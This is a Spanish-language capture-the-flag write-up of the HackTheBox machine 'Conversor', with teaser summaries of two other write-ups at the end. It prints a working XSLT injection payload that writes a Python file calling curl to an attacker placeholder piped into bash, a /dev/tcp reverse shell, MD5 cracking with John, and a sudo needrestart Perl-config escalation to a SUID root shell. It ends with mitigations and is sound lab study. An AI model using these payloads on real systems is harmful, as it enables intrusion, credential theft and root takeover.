Conversor
Web app que procesa XML+XSLT del usuario con lxml. Como lxml soporta las extensiones EXSLT, `exploit:document` permite escritura arbitraria de ficheros; combinado con un cron que ejecuta todos los .py de un directorio cada minuto se obtiene RCE como www-data. Lateral vía credenciales en SQLite (MD5 crackeado con John) y escalada a root abusando de `sudo needrestart -c` (GTFOBins, config Perl) para crear una bash SUID.
View on HackTheBoxResumen
Conversor es una máquina Linux de dificultad fácil centrada en una técnica menos habitual: XSLT Injection. La aplicación web acepta archivos XML y XSLT del usuario y los procesa con lxml. Como lxml soporta las extensiones EXSLT, se puede usar exploit:document para escribir ficheros arbitrarios en disco. Combinado con un cron job que ejecuta cada minuto todos los .py de un directorio, se consigue RCE como www-data. El movimiento lateral sale de credenciales en una base SQLite (hash MD5 crackeado), y la escalada a root explota sudo needrestart -c (GTFOBins) cargando una config en Perl.
Idea central: XSLT no es solo “hojas de estilo para XML”. Es un lenguaje completo con funciones que pueden tocar el sistema de ficheros. Si el servidor confía en el XSLT del usuario sin sanitizar, tenemos un primitivo de escritura arbitraria.
Reconocimiento
Escaneo de puertos
# Descubrir todos los puertos abiertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG Puertos 10.129.238.31
# Versión + scripts solo en los abiertos
nmap -sVC -p22,80 -oN Targeted 10.129.238.31
22/tcp open ssh OpenSSH 8.9p1
80/tcp open http Apache 2.4.52 → redirige a conversor.htb
Resolución del vhost
echo "10.129.238.31 conversor.htb" | sudo tee -a /etc/hosts
Análisis de la aplicación
La web permite subir dos archivos y devuelve un HTML resultado:
- XML — los datos (p. ej. el output XML de un nmap)
- XSLT — la plantilla de transformación
¿Qué es XSLT? Un lenguaje para transformar XML en otro formato (HTML, texto, otro XML). No es solo presentación: tiene funciones reales que interactúan con el sistema. Analogía: como subir un Excel con macros y que el servidor las ejecute.
Descarga del código fuente
La propia web ofrece el código en About → Download Source Code. Leer el código antes de lanzar payloads a ciegas resuelve la mayoría de CTFs (y muchos pentests reales):
wget http://conversor.htb/static/source_code.tar.gz
tar -xvf source_code.tar.gz
Hallazgo en app.py
El backend procesa el XSLT del usuario sin sanitizar:
from lxml import etree
xslt_tree = etree.parse(xslt_path) # acepta cualquier XSLT del usuario
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
Hallazgo en install.md — el cron clave
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
Cada minuto el sistema ejecuta como www-data todos los .py de /var/www/conversor.htb/scripts/. Si escribimos un fichero ahí → RCE garantizada.
Foothold — XSLT Injection
lxml soporta las extensiones EXSLT. La función exploit:document permite escribir archivos en disco durante la transformación. Si controlamos el XSLT, controlamos qué se escribe y dónde.
Referencia: PayloadsAllTheThings → XSLT Injection / Files / XSLT - Write file.xsl
Namespaces necesarios
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
pwn.xslt
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document
href="/var/www/conversor.htb/scripts/pwn.py"
method="text">import os;os.system("curl http://<ATTACKER_IP>:8000/index.html|bash")</exploit:document>
</xsl:template>
</xsl:stylesheet>
Trampa habitual: el código Python dentro de
exploit:documentdebe ir en una sola línea sin indentación. Cualquier espacio inicial provocaIndentationErrory el cron no ejecuta el payload.
index.html (segunda etapa — reverse shell)
#!/bin/bash
bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1"
Orquestación (3 terminales)
# Terminal 1 — listener
nc -nvlp 9001
# Terminal 2 — servidor HTTP con index.html
python3 -m http.server 8000
# Terminal 3 — XML válido para subir
nmap -p 22,80 conversor.htb -oX scan.xml
Subir scan.xml + pwn.xslt en la web y esperar ~1 minuto. Al disparar el cron, llega la reverse shell como www-data.
Flujo: subir pwn.xslt → lxml escribe pwn.py en /scripts/ → cron tick (~1 min) → cron ejecuta pwn.py como www-data → descarga index.html → bash → reverse shell.
Movimiento lateral — www-data → fismathack
Localizar la base de datos
find /var/www/conversor.htb -name "*.db"
# → /var/www/conversor.htb/instance/users.db
Extraer credenciales
sqlite3 /var/www/conversor.htb/instance/users.db
sqlite> SELECT * FROM users;
-- 1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
Identificar y crackear el hash
| Longitud (hex) | Algoritmo |
|---|---|
| 32 chars | MD5 |
| 40 chars | SHA1 |
| 64 chars | SHA256 |
32 chars → MD5 (confirmar siempre con hashid):
echo "5b5c3ac3a1c897c94caad48e6c71fdec" > hash.txt
john -w=/usr/share/wordlists/rockyou.txt hash.txt --format=RAW-MD5
# → Keepmesafeandwarm
SSH como fismathack
ssh [email protected]
# Password: Keepmesafeandwarm
cat /home/fismathack/user.txt # USER FLAG
Escalada de privilegios — fismathack → root
Enumerar sudo
sudo -l
# (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
needrestart — vector GTFOBins
Por qué funciona:
needrestart -ccarga un fichero de configuración escrito en Perl y ejecuta su contenido. Consudo NOPASSWDsobre el binario, corre como root → el Perl también. En Perl,system("...")ejecuta comandos de shell igual queos.system()en Python.
# 1) Config Perl malicioso
echo 'system("cp /bin/bash /tmp/poc; chmod u+s /tmp/poc")' > /tmp/cmd.conf
# 2) needrestart como root con nuestra config
sudo /usr/sbin/needrestart -c /tmp/cmd.conf
# 3) Verificar SUID
ls -la /tmp/poc
# -rwsr-xr-x 1 root root ... ← la "s" confirma SUID
# 4) Shell de root
/tmp/poc -p
cat /root/root.txt # ROOT FLAG
El flag
-pimporta: sin-p, bash dropea los privilegios SUID por seguridad y ejecuta como tu usuario normal. Con-plos mantiene → root real.
Kill Chain
| # | Fase | Técnica | Resultado |
|---|---|---|---|
| 1 | Recon | nmap -p- + -sVC | 22/SSH · 80/HTTP → conversor.htb |
| 2 | Code review | Descarga del source | lxml sin sanitizar + cron *.py cada min |
| 3 | Foothold | XSLT Injection (exploit:document EXSLT) | Escritura de pwn.py en /scripts/ |
| 4 | RCE | Cron ejecuta pwn.py como www-data | Reverse shell www-data |
| 5 | Loot | sqlite3 users.db | Hash MD5 de fismathack |
| 6 | Crack | john + rockyou | Keepmesafeandwarm |
| 7 | Lateral | SSH con password | fismathack · user.txt |
| 8 | Sudo enum | sudo -l | NOPASSWD: /usr/sbin/needrestart |
| 9 | PrivEsc | needrestart -c (GTFOBins, Perl) | bash SUID → /tmp/poc -p · root.txt |
Lecciones
| Técnica | MITRE ATT&CK |
|---|---|
| XSLT Server-Side Injection | T1059 |
| Scheduled Task/Job abuse (cron) | T1053.003 |
| Credentials in DB / Unsecured Credentials | T1552.001 |
| Password Cracking (MD5) | T1110.002 |
| Sudo binary abuse (GTFOBins) | T1548.003 |
Mitigación y notas:
- Cualquier procesador de plantillas del lado servidor (XSLT, Jinja2, Twig, FreeMarker…) es candidato a inyección si acepta input del usuario sin sandbox. Deshabilitar EXSLT / extensiones de red y FS en
lxml(etree.XSLTAccessControl.DENY_ALL). - Los cron jobs que ejecutan “todo lo que haya en una carpeta” son una primitiva de RCE si controlas la escritura — restringir permisos del directorio.
- Nunca almacenar contraseñas con MD5 sin sal. Antes de crackear, identifica el hash; luego rockyou primero, reglas después.
- Tras privesc por binarios sudoers: GTFOBins es la primera parada.
needrestartno debería estar en sudoers sin restricción de argumentos.
Material de estudio — solo para fines educativos y entornos autorizados (HTB).
Keep hacking.
GiveBack
Cadena en cuatro capas — WordPress con GiveWP 3.14.0 vulnerable a CVE-2024-5932 (PHP Object Injection → RCE en pod WP), túnel inverso con Chisel para alcanzar un servicio legacy del clúster Kubernetes, PHP-CGI vulnerable a CVE-2024-4577 (Best-Fit %AD), extracción de secrets vía service account token, y escape final del contenedor abusando del FD leak de runc 1.1.11 (CVE-2024-21626, Leaky Vessels).
AirTouch
Cadena de 22 pasos desde SNMP débil hasta root. Enumeración clásica, entorno Docker con interfaces WiFi virtuales (mac80211_hwsim), cracking de handshake WPA2-PSK, descifrado de tráfico para robar cookies de sesión, RCE vía .phtml en panel de router, y compromiso Enterprise con Evil Twin + MSCHAPv2 + hashcat.